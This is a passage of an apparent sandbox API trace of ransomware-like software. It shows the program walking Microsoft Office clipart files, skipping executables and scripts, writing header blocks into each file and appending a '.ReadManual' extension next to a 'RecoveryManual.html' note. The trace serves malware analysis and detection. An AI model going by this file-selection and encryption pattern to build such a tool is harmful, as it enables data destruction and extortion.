Office\\CLIPART\\PUB60COR\\J0212751.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0212751.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0268.630] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=2060) returned 1 [0268.630] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x80c, lpName=0x0) returned 0x184 [0268.630] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0268.630] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0268.631] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0268.632] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0268.632] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x80c) returned 0x2f0000 [0268.632] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0268.632] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38930128121) returned 1 [0268.633] CloseHandle (hObject=0x184) returned 1 [0268.633] SetSecurityInfo () returned 0x57 [0268.633] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0268.633] CloseHandle (hObject=0x194) returned 1 [0268.633] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56583130, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1d4a, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0212953.WMF", cAlternateFileName="")) returned 1 [0268.633] lstrcpyW (in: lpString1=0x6ab90a, lpString2="J0212953.WMF" | out: lpString1="J0212953.WMF") returned="J0212953.WMF" [0268.633] lstrcmpiW (lpString1="J0212953.WMF", lpString2="RecoveryManual.html") returned -1 [0268.633] StrStrIW (lpFirst="J0212953.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0268.633] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0268.633] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0268.633] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0268.633] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0268.633] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0268.633] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0268.633] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0268.633] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0268.633] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0268.633] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0268.633] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0268.633] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0268.633] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0268.633] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0268.633] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0212953.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0212953.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0212953.WMF" [0268.633] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0212953.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0212953.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0212953.WMF.ReadManual.5A595725" [0268.633] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0212953.WMF.ReadManual.5A595725") returned 87 [0268.633] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38930228272) returned 1 [0268.634] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0212953.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0212953.wmf")) returned 0x20 [0268.634] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0212953.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0212953.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0268.634] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=7498) returned 1 [0268.634] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1d4a, lpName=0x0) returned 0x184 [0268.634] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0268.635] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0268.635] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0268.637] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0268.637] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x1d4a) returned 0x2f0000 [0268.637] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0268.637] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38930568955) returned 1 [0268.637] CloseHandle (hObject=0x184) returned 1 [0268.637] SetSecurityInfo () returned 0x57 [0268.637] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0268.637] CloseHandle (hObject=0x194) returned 1 [0268.637] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56583130, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xa5c, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0213243.WMF", cAlternateFileName="")) returned 1 [0268.637] lstrcpyW (in: lpString1=0x6ab90a, lpString2="J0213243.WMF" | out: lpString1="J0213243.WMF") returned="J0213243.WMF" [0268.637] lstrcmpiW (lpString1="J0213243.WMF", lpString2="RecoveryManual.html") returned -1 [0268.637] StrStrIW (lpFirst="J0213243.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0268.637] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0268.637] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0268.637] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0268.637] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0268.637] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0268.638] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0268.638] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0268.638] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0268.638] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0268.638] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0268.638] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0268.638] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0268.638] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0268.638] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0268.638] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0213243.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0213243.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0213243.WMF" [0268.638] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0213243.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0213243.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0213243.WMF.ReadManual.5A595725" [0268.638] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0213243.WMF.ReadManual.5A595725") returned 87 [0268.638] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38930683050) returned 1 [0268.638] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0213243.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0213243.wmf")) returned 0x20 [0268.638] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0213243.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0213243.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0268.639] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=2652) returned 1 [0268.639] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xa5c, lpName=0x0) returned 0x184 [0268.639] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0268.639] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0268.639] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0268.641] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0268.641] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xa5c) returned 0x2f0000 [0268.641] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0268.641] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38931181930) returned 1 [0268.643] CloseHandle (hObject=0x184) returned 1 [0268.643] SetSecurityInfo () returned 0x57 [0268.643] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0268.643] CloseHandle (hObject=0x194) returned 1 [0268.643] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6607e0d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xf00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0213449.WMF", cAlternateFileName="")) returned 1 [0268.643] lstrcpyW (in: lpString1=0x6ab90a, lpString2="J0213449.WMF" | out: lpString1="J0213449.WMF") returned="J0213449.WMF" [0268.643] lstrcmpiW (lpString1="J0213449.WMF", lpString2="RecoveryManual.html") returned -1 [0268.643] StrStrIW (lpFirst="J0213449.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0268.644] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0268.644] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0268.644] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0268.644] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0268.644] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0268.644] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0268.644] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0268.644] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0268.644] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0268.644] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0268.644] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0268.644] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0268.644] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0268.644] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0268.644] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0213449.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0213449.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0213449.WMF" [0268.644] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0213449.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0213449.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0213449.WMF.ReadManual.5A595725" [0268.644] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0213449.WMF.ReadManual.5A595725") returned 87 [0268.644] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38931279847) returned 1 [0268.644] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0213449.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0213449.wmf")) returned 0x20 [0268.644] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0213449.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0213449.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0268.644] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=3840) returned 1 [0268.645] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xf00, lpName=0x0) returned 0x184 [0268.645] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0268.645] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0268.645] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0268.647] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0268.647] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xf00) returned 0x2f0000 [0268.647] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0268.647] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38931600457) returned 1 [0268.647] CloseHandle (hObject=0x184) returned 1 [0268.647] SetSecurityInfo () returned 0x57 [0268.647] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0268.647] CloseHandle (hObject=0x194) returned 1 [0268.648] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6607e0d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x7cb6, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0214934.WMF", cAlternateFileName="")) returned 1 [0268.648] lstrcpyW (in: lpString1=0x6ab90a, lpString2="J0214934.WMF" | out: lpString1="J0214934.WMF") returned="J0214934.WMF" [0268.648] lstrcmpiW (lpString1="J0214934.WMF", lpString2="RecoveryManual.html") returned -1 [0268.648] StrStrIW (lpFirst="J0214934.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0268.648] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0268.648] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0268.648] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0268.648] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0268.648] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0268.648] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0268.648] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0268.648] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0268.648] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0268.648] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0268.648] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0268.648] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0268.648] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0268.648] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0268.648] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0214934.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0214934.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0214934.WMF" [0268.648] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0214934.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0214934.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0214934.WMF.ReadManual.5A595725" [0268.648] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0214934.WMF.ReadManual.5A595725") returned 87 [0268.648] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38931696858) returned 1 [0268.648] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0214934.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0214934.wmf")) returned 0x20 [0268.648] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0214934.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0214934.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0268.649] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=31926) returned 1 [0268.649] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x7cb6, lpName=0x0) returned 0x184 [0268.649] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0268.650] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0268.650] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0268.651] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0268.652] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x7cb6) returned 0x2f0000 [0268.652] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0268.652] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38932079876) returned 1 [0268.652] CloseHandle (hObject=0x184) returned 1 [0268.652] SetSecurityInfo () returned 0x57 [0268.652] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0268.652] CloseHandle (hObject=0x194) returned 1 [0268.652] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x565a9290, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xaefa, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0214948.WMF", cAlternateFileName="")) returned 1 [0268.652] lstrcpyW (in: lpString1=0x6ab90a, lpString2="J0214948.WMF" | out: lpString1="J0214948.WMF") returned="J0214948.WMF" [0268.652] lstrcmpiW (lpString1="J0214948.WMF", lpString2="RecoveryManual.html") returned -1 [0268.652] StrStrIW (lpFirst="J0214948.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0268.652] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0268.653] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0268.653] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0268.653] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0268.653] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0268.653] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0268.653] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0268.653] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0268.653] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0268.653] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0268.653] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0268.653] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0268.653] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0268.653] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0268.653] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0214948.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0214948.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0214948.WMF" [0268.653] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0214948.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0214948.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0214948.WMF.ReadManual.5A595725" [0268.653] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0214948.WMF.ReadManual.5A595725") returned 87 [0268.653] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38932178834) returned 1 [0268.653] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0214948.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0214948.wmf")) returned 0x20 [0268.684] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0214948.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0214948.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0268.686] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=44794) returned 1 [0268.686] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xaefa, lpName=0x0) returned 0x184 [0268.686] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0268.687] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0268.687] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0268.693] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0268.693] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xaefa) returned 0x2f0000 [0268.695] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0268.695] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38936376312) returned 